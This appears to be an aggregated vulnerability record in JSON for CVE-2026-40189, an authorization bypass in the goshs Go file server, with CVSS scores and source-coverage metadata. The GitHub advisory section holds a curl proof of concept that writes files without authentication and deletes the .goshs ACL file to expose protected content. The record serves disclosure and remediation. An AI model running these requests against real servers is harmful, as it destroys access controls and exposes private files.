{"id":"EUVD-2026-21591","revision":null,"records":[{"revision":"86b57a1b736247d7a4f9acaa710ff56e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40189","aliases":[],"title":"goshs has a file-based ACL authorization bypass in goshs state-changing routes","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":"2026-04-10T19:44:54.672+00:00","modifiedAt":"2026-04-13T20:53:02.4+00:00","affected":[{"ecosystem":"Vendor product","name":"goshs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patrickhener\",\n                    \"product\": \"goshs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.0-beta.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx","https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40189","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40189","identifiers":["CVE-2026-40189"]},"retained":false,"historicalAffected":[]},{"revision":"b1f35be86f6d4c05a59f0dd4c12daaf5","observedAt":"2026-11-01T06:15:36.167+00:00","statement":{"source":"euvd","id":"EUVD-2026-21591","aliases":["CVE-2026-40189","GHSA-wvhv-qcqf-f3cx"],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for stat…","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"severity":null}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx","https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21591","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 7:44:54 PM","dateUpdated":"Apr 13, 2026, 8:53:02 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:10542-1","title":"goshs-2.0.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-35392","CVE-2026-35393","CVE-2026-35471","CVE-2026-40188","CVE-2026-40189"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21591","identifiers":["EUVD-2026-21591","CVE-2026-40189","GHSA-wvhv-qcqf-f3cx"]},"retained":false,"historicalAffected":[]},{"revision":"f2e04957978b4a348b533ab834c9f637","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40189","aliases":[],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for stat…","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.","state":0,"publishedAt":"2026-04-10T20:16:23.89+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4","https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40189","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-862"],"productCriteria":["cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-10T20:16:23.890","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40189","identifiers":["CVE-2026-40189"]},"retained":false,"historicalAffected":[]},{"revision":"78be47286bf54b50beb26a36bb8ec420","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-wvhv-qcqf-f3cx","aliases":["CVE-2026-40189","GO-2026-5728"],"title":"goshs has a file-based ACL authorization bypass in goshs state-changing routes","description":"### Summary\ngoshs enforces the documented per-folder `.goshs` ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with `PUT`, upload files with multipart `POST /upload`, create directories with `?mkdir`, and delete files with `?delete` inside a `.goshs`-protected directory. By deleting the `.goshs` file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.\n\n### Details\nThe project README explicitly documents file-based ACLs as a security feature:\n\n- `README.md:59` - \"You can place a .goshs in any folder to apply custom ACLs\"\n- `README.md:61` - \"You can apply custom basic auth per folder\"\n\nThe read/list path correctly enforces `.goshs`:\n\n- `httpserver/filebased.go:10-49` loads `.goshs`\n- `httpserver/handler.go:68-91` calls `findSpecialFile()` for directories\n- `httpserver/handler.go:94-101` calls `findSpecialFile()` for files\n- `httpserver/handler.go:285-305` applies custom auth\n- `httpserver/handler.go:545-565` enforces folder auth during directory rendering\n- `httpserver/handler.go:590-630` enforces file auth and blocked entries during file serving\n\nHowever, the state-changing routes bypass this logic entirely:\n\n- `httpserver/server.go:94-100` routes multipart `POST /.../upload` directly to `upload()`\n- `httpserver/server.go:105-109` routes `PUT` directly to `put()`\n- `httpserver/handler.go:119-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:181-187` dispatches `?delete` directly to `deleteFile()`\n- `httpserver/updown.go:18-60` writes files for `PUT` without checking `.goshs`\n- `httpserver/updown.go:63-165` writes files for multipart upload without checking `.goshs`\n- `httpserver/handler.go:679-698` deletes files with `os.RemoveAll()` without checking `.goshs`\n- `httpserver/handler.go:901-937` creates directories with `os.MkdirAll()` without checking `.goshs`\n\nThis is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because `.goshs` itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.\n\n### PoC\nEnvironment used for verification:\n\n- Repository/module: `github.com/patrickhener/goshs`\n- Verified vulnerable tag: `v2.0.0-beta.3`\n- Also present in the `v1.1.4` line based on code inspection\n- Local host: `127.0.0.1:18091`\n\nBuild and setup:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'\ngo build -o /tmp/goshs_acl_verify/goshs ./\n\nrm -rf /tmp/goshs_acl_verify/root\nmkdir -p /tmp/goshs_acl_verify/root/protected\ncp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs\nprintf 'top secret\\n' > /tmp/goshs_acl_verify/root/protected/secret.txt\n\n/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091\n```\n\nIn a second terminal:\n\n```bash\n# The protected folder initially requires auth\ncurl -s -o /dev/null -w '%{http_code}\\n' 'http://127.0.0.1:18091/protected/'\n\n# Unauthenticated write into the protected folder succeeds\ncurl -s -o /dev/null -w '%{http_code}\\n' -X PUT \\\n  --data-binary 'injected via PUT' \\\n  'http://127.0.0.1:18091/protected/put-created.txt'\n\n# Unauthenticated deletion of the ACL file succeeds\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  'http://127.0.0.1:18091/protected/.goshs?delete'\n\n# The previously protected file is now publicly accessible\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  'http://127.0.0.1:18091/protected/secret.txt'\ncurl -s 'http://127.0.0.1:18091/protected/secret.txt'\n```\n\nExpected results:\n\n```text\n401\n200\n200\n200\ntop secret\n```\n<img width=\"1280\" height=\"657\" alt=\"goshs_poc1\" src=\"https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704\" />\n\n\nNote: if using `zsh`, the URL containing `?delete` must be quoted, or the shell will treat `?` as a wildcard and the request will not be sent.\n\nPoC Video for reference:\n\nhttps://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7\n\n\n### Impact\nThis is an authorization bypass affecting deployments that rely on `.goshs` for per-folder protection. A remote unauthenticated attacker can:\n\n- create or overwrite files inside a folder that should require authentication\n- create directories inside the protected folder\n- delete arbitrary files reachable through the vulnerable route inside that protected folder\n- delete the `.goshs` policy file itself\n- read previously protected files once the policy file has been removed\n\nIn practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.\n\n### Remediation\n1. Enforce `.goshs` authorization checks for all state-changing operations, not just read/list flows. Before `PUT`, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies `acl.Auth`.\n2. Protect `.goshs` as a special file in mutation handlers. The application already prevents serving `.goshs`; it should also reject deletion, overwrite, or replacement of `.goshs` through HTTP routes unless the request is properly authorized.\n3. Add regression tests covering protected folders for every mutation path. The test suite should verify that `PUT`, `POST /upload`, `?delete`, and `?mkdir` all fail without valid credentials when a `.goshs` file is present.","state":0,"publishedAt":"2026-04-10T20:00:32+00:00","modifiedAt":"2026-06-25T23:11:44.8363361+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.1.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx","https://nvd.nist.gov/vuln/detail/CVE-2026-40189","https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f","https://github.com/patrickhener/goshs","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://github.com/advisories/GHSA-wvhv-qcqf-f3cx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wvhv-qcqf-f3cx","identifiers":["GHSA-wvhv-qcqf-f3cx","CVE-2026-40189","GO-2026-5728"]},"retained":false,"historicalAffected":[]},{"revision":"2aa12df010af46e4aa06c8c14601b28c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5728","aliases":["CVE-2026-40189","GHSA-wvhv-qcqf-f3cx"],"title":"goshs has a file-based ACL authorization bypass in goshs state-changing routes in github.com/patrickhener/goshs","description":"goshs has a file-based ACL authorization bypass in goshs state-changing routes in github.com/patrickhener/goshs","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:40.0851937+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx","https://nvd.nist.gov/vuln/detail/CVE-2026-40189","https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f","https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5728","license":"OSV · upstream source license applies","key":"osv:GO-2026-5728","identifiers":["GO-2026-5728","CVE-2026-40189","GHSA-wvhv-qcqf-f3cx"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T15:57:20.8239354+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T15:57:20.8239354+00:00","lastSuccessAt":"2026-11-01T15:57:21.0432994+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:21.0433001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-f95a49f7991d84fda391d9ec67b41d459e583b1cfe7c441477d04d1fe019c90a","complete":true,"records":417656,"lastAttemptAt":"2026-11-01T15:57:20.2988428+00:00","lastSuccessAt":"2026-11-01T15:57:20.2714671+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.2988428+00:00","snapshotPublishedAt":"2026-11-01T15:25:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-996acc6ac5ed4512972e5675464bd820","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T16:09:37.8504098+00:00","lastSuccessAt":"2026-11-01T16:09:37.846+00:00","error":null,"lastVerifiedAt":"2026-11-01T16:09:37.846+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T15:57:20.8239354+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T15:57:20.8239354+00:00","lastSuccessAt":"2026-11-01T15:57:21.0444496+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:21.0444501+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f67819536b464ba998dbfc5a485cc684","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T15:57:46.3017893+00:00","lastSuccessAt":"2026-11-01T15:57:46.298+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:46.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T15:57:20.6646449+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.6646449+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T15:57:20.4527932+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.4527932+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T15:57:20.7894926+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.7894926+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T15:57:20.5571291+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.5571291+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}